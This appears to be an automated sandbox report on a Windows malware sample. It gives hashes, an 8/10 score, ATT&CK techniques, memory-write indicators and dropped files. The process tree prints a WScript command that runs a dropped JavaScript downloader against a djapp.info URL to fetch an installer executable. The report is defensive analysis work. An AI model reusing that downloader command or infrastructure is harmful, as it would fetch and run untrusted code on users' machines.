52d605f5a4b74b82d4317797375462718e825747c04ef969da27c0ba63e5a5b4

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
30/05/2024, 06:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe
Size

184KB
MD5

8357b5609d1888f4485a33cfa480428e
SHA1

160a1a59fd47678125778d1b56d004ecfd1b1030
SHA256

52d605f5a4b74b82d4317797375462718e825747c04ef969da27c0ba63e5a5b4
SHA512

3834cad0b6c84500457502e719b449e715472f96997b9353033057af859fb2694680521e396de5dc981325aa5db62bdbcafaf14061a42dcdf393c494fd7fa449
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3J:/7BSH8zUB+nGESaaRvoB7FJNndnA

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	2996	WScript.exe
8	2996	WScript.exe
10	2996	WScript.exe
12	2416	WScript.exe
13	2416	WScript.exe
15	2780	WScript.exe
16	2780	WScript.exe
18	1912	WScript.exe
19	1912	WScript.exe
21	2928	WScript.exe
22	2928	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 2996	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	28
PID 2356 wrote to memory of 2996	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	28
PID 2356 wrote to memory of 2996	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	28
PID 2356 wrote to memory of 2996	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	28
PID 2356 wrote to memory of 2416	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	30
PID 2356 wrote to memory of 2416	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	30
PID 2356 wrote to memory of 2416	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	30
PID 2356 wrote to memory of 2416	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	30
PID 2356 wrote to memory of 2780	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	32
PID 2356 wrote to memory of 2780	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	32
PID 2356 wrote to memory of 2780	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	32
PID 2356 wrote to memory of 2780	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	32
PID 2356 wrote to memory of 1912	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	34
PID 2356 wrote to memory of 1912	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	34
PID 2356 wrote to memory of 1912	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	34
PID 2356 wrote to memory of 1912	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	34
PID 2356 wrote to memory of 2928	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	36
PID 2356 wrote to memory of 2928	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	36
PID 2356 wrote to memory of 2928	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	36
PID 2356 wrote to memory of 2928	2356	8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8357b5609d1888f4485a33cfa480428e_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1600.js" http://www.djapp.info/?domain=ynGhxJHGce.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1600.exe
  2⤵
  - Blocklisted process makes network request
  PID:2996
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1600.js" http://www.djapp.info/?domain=ynGhxJHGce.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1600.exe
  2⤵
  - Blocklisted process makes network request
  PID:2416
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1600.js" http://www.djapp.info/?domain=ynGhxJHGce.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1600.exe
  2⤵
  - Blocklisted process makes network request
  PID:2780
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1600.js" http://www.djapp.info/?domain=ynGhxJHGce.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1600.exe
  2⤵
  - Blocklisted process makes network request
  PID:1912
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1600.js" http://www.djapp.info/?domain=ynGhxJHGce.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1600.exe
  2⤵
  - Blocklisted process makes network request
  PID:2928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
3aad0e0b63ea2e695fc7c66728e66a14

SHA1
7ef347e0f3b8142005a2b58b459aef7efe975955

SHA256
9fdfce09257f87385d6ef10feea5f0d164ecd425ddd10ad0714bf1bc6feb5ef6

SHA512
3cb287ef51c870e2847258ee983b9522aff217336b6b60096a7dd868a3a270bfe2df161e5c17df963ae9cc7c290892da373ec3904f93f8d8ee59e51ff4d16cef

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
f2fdc603ff12ae5f26693f6d23e4a5a5

SHA1
13c36ac1abad414617ce738e6288297df2c16a90

SHA256
55c412eeb032980aaeeada1764bbfadade56b462c62e9067838cd988f46d20c6

SHA512
2ed198e7ffc0378bfc1825f822b1d90d47cc3a1d0d2853f5ee24d25e41fc9a47b0ee73b6b89d4143229135391944f2e10c313c00d612b329402dcd9371521f05

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
1552e51cc8065b4cef4952a962a4e5fa

SHA1
e85d918ac77b190def2df5a237bae912f9409ebf

SHA256
c3d858aecadbe5d7e880f8ceb2132618e08248897393027343225c9ac54de982

SHA512
753b0e6bbbea0b4dc4af2117fe02f7d7c5b7e10c0a330dfa7eae242fd32e36dc27c5cbb7c2a74e42d1b03ff71a6fabf4d1ed76ed10c0e964dcb2d094e0e96ba1

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
dbd134f36159601c8a9e497742ad52f1

SHA1
b8c747d81ad1fc3858f697bcde08b5c25d3376fe

SHA256
8fdb0d64098f0d712d7ee595625af9a24b16c8b370fadb685b9db3379af9e9df

SHA512
b47a19e56b8e1de08dda7b0481d844cc9837b8a1d53ce48ea80de6b69e7327a07621382af3dc77a3e5c220318385d014f293b817ec97473074ed10a1aeb9e86e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm

Filesize
40KB

MD5
1d9241cefd95b439f32efd6d5cabb60f

SHA1
eeead77fdd4b48316646c3cf0bed834dee4873ea

SHA256
b9482ff8799ed4840d870158e471f41ccd8c3817097fa2d0955221bef7f07929

SHA512
490ae8f32f4cf10c1cbee6b212c693c3b362226f82bd68381bbe4ed7e465b0c016c27005e31cb45f226f9cc11da2fde56c89425c923cda9d96575f6403f82555

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm

Filesize
40KB

MD5
2cd7905a6e6c8f900c5c181e07b4a233

SHA1
10388b6628a791c4c44ac43b96bace02f030cb7f

SHA256
a788944caf78771315b174aa321546d3c59b2e01c32e4034598416d84ab677d9

SHA512
f43e81e18816872ab79746b4cf46faa97aca304fe38ce3ec72eb06c4c3431b33a4078dab10bfe12c4b9e827b63abe0c93bd35226ab10b4c7ffd8be58bc2b084f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm

Filesize
40KB

MD5
36395ad7b965fc515bc077aa3c878c85

SHA1
9d897906db9224cac075f6c5772215df0f7e23e1

SHA256
ec55c0f1b1873df98569d4219b54458cfc7df8f82d850a1506bf6c73fe005c9c

SHA512
d6a9265d246683d14639eae9a7ba687398c475d2220d5a0615ab74e2a35c1e38d3952fda78d4645a1f09b6ff9c129d6be45ce992bc8902730942981e3ade9c80

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm

Filesize
40KB

MD5
fa67d78c1b9631f814c806a645aadac9

SHA1
329a6a0fd8ff77b51f9e0ab814f76d6cb55adbcf

SHA256
2e0406bce58db2ae6fcaa39202e5165651a4f69bc29f4304f7db531c4c705e83

SHA512
b8709e9b334c769405bdf88564f4a90017fbcf6ce0f8b81a091fc29589366cf2d317ac9220b6c7ef25254695330186f692127b866f00ae661dcd69d4ca945cee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm

Filesize
40KB

MD5
6adadf7975c195c12c221db6d90838da

SHA1
ff3301c40cce68793774a6a1f8694388ac3bf744

SHA256
136256264d2ff1c9114f194178ac1ac18f0c87129c38fe05a60803db01c011db

SHA512
4674169685cdb2a9681efafeb438aff906dd3ae1bb65b4538ad9a6d6c169ddc2c7a676f16a6e1ee0b2ef35fa3b02a1e33120727f05f5aa1290cefaa2ac9d7174

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab4569.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5E28.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf1600.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\Q9M1O9KK.txt

Filesize
177B

MD5
e13869c5a2d2053875ae59da51a93f75

SHA1
d20e5b0432d4b7b583089d3a833e1a4397d37d1b

SHA256
14e1855731b1b1100fc939458bb3a64da6269da9e692724582d56db218bde44f

SHA512
4f81298fb3b410286743b580b815d2cf8905a9f0f7a3626ebee80a7fdcbf9dbdf9f3585b3adf4710b07c8a79cb58f6e706fb15b1396081562ea3596225e5c286

Download Submit